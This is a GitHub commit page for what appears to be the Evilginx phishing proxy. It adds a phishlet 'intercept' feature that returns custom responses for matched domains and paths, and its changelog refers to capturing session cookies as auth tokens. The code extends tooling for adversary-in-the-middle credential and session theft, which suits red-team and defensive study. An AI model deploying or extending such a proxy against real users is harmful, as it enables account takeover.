Skip to content

Commit

Permalink
added phishlet ability to intercept http requests
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Jul 27, 2023
1 parent c8b9f24 commit 55aa7b7
Show file tree
Hide file tree
Showing 3 changed files with 94 additions and 0 deletions.
5 changes: 5 additions & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
@@ -1,3 +1,8 @@
# Unreleased
- Feature: Added phishlet ability to intercept HTTP requests and return custom responses via new `intercept` section.
- Fixed: Fixed HTTP status code response for Javascript redirects.
- Fixed: Redirects now only happen on `text/html` pages with valid HTML content.

# 3.1.0
- Feature: Listening IP and external IP can now be separated with `config ipv4 bind <bind_ipv4_addr>` and `config ipv4 external <external_ipv4_addr>` to help with properly setting up networking.
- Fixed: Session cookies (cookies with no expiry date set) are now correctly captured every time. There is no need to specify `:always` key modifier for `auth_tokens` to capture them.
Expand Down
27 changes: 27 additions & 0 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -459,6 +459,18 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}

// check if request should be intercepted
if pl != nil {
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
for _, ic := range pl.intercept {
//log.Debug("ic.domain:%s r_host:%s", ic.domain, r_host)
//log.Debug("ic.path:%s path:%s", ic.path, req.URL.Path)
if ic.domain == r_host && ic.path.MatchString(req.URL.Path) {
return p.interceptRequest(req, ic.http_status, ic.body, ic.mime)
}
}
}
}
// replace "Host" header
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
req.Host = r_host
Expand Down Expand Up @@ -1051,6 +1063,21 @@ func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Respon
return req, nil
}

func (p *HttpProxy) interceptRequest(req *http.Request, http_status int, body string, mime string) (*http.Request, *http.Response) {
if mime == "" {
mime = "text/plain"
}
resp := goproxy.NewResponse(req, mime, http_status, body)
if resp != nil {
origin := req.Header.Get("Origin")
if origin != "" {
resp.Header.Set("Access-Control-Allow-Origin", origin)
}
return req, resp
}
return req, nil
}

func (p *HttpProxy) javascriptRedirect(req *http.Request, rurl string) (*http.Request, *http.Response) {
body := fmt.Sprintf("<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='%s';</script></head><body></body></html>", rurl)
resp := goproxy.NewResponse(req, "text/html", http.StatusOK, body)
Expand Down
62 changes: 62 additions & 0 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -96,6 +96,14 @@ type JsInject struct {
script string `mapstructure:"script"`
}

type Intercept struct {
domain string `mapstructure:"domain"`
path *regexp.Regexp `mapstructure:"path"`
http_status int `mapstructure:"http_status"`
body string `mapstructure:"body"`
mime string `mapstructure:"mime"`
}

type Phishlet struct {
Name string
ParentName string
Expand All @@ -118,6 +126,7 @@ type Phishlet struct {
forcePost []ForcePost
login LoginUrl
js_inject []JsInject
intercept []Intercept
customParams map[string]string
isTemplate bool
}
Expand Down Expand Up @@ -199,6 +208,14 @@ type ConfigJsInject struct {
Script *string `mapstructure:"script"`
}

type ConfigIntercept struct {
Domain *string `mapstructure:"domain"`
Path *string `mapstructure:"path"`
HttpStatus *int `mapstructure:"http_status"`
Body *string `mapstructure:"body"`
Mime *string `mapstructure:"mime"`
}

type ConfigPhishlet struct {
Name string `mapstructure:"name"`
Params *[]ConfigParam `mapstructure:"params"`
Expand All @@ -211,6 +228,7 @@ type ConfigPhishlet struct {
LandingPath *[]string `mapstructure:"landing_path"`
LoginItem *ConfigLogin `mapstructure:"login"`
JsInject *[]ConfigJsInject `mapstructure:"js_inject"`
Intercept *[]ConfigIntercept `mapstructure:"intercept"`
}

func NewPhishlet(site string, path string, customParams *map[string]string, cfg *Config) (*Phishlet, error) {
Expand Down Expand Up @@ -464,6 +482,38 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri
}
}
}
if fp.Intercept != nil {
for _, ic := range *fp.Intercept {
var err error
var body, mime string
if ic.Domain == nil {
return fmt.Errorf("intercept: missing `domain` field")
}
if *ic.Domain == "" {
return fmt.Errorf("intercept: `domain` field cannot be empty")
}
if ic.Path == nil {
return fmt.Errorf("intercept: missing `path` field")
}
path_re, err := regexp.Compile(*ic.Path)
if err != nil {
return fmt.Errorf("intercept: `path` invalid regular expression: %v", err)
}
if ic.HttpStatus == nil {
return fmt.Errorf("intercept: missing `http_status` field")
}
if ic.Body != nil {
body = *ic.Body
}
if ic.Mime != nil {
mime = *ic.Mime
}
err = p.addIntercept(*ic.Domain, path_re, *ic.HttpStatus, body, mime)
if err != nil {
return err
}
}
}
for _, at := range *fp.AuthTokens {
ttype := "cookie"
if at.Type != nil {
Expand Down Expand Up @@ -922,6 +972,18 @@ func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string,
return nil
}

func (p *Phishlet) addIntercept(domain string, path *regexp.Regexp, http_status int, body string, mime string) error {
ic := Intercept{
domain: strings.ToLower(domain),
path: path,
http_status: http_status,
body: body,
mime: mime,
}
p.intercept = append(p.intercept, ic)
return nil
}

func (p *Phishlet) domainExists(domain string) bool {
for _, d := range p.domains {
if domain == d {
Expand Down

0 comments on commit 55aa7b7

Please sign in to comment.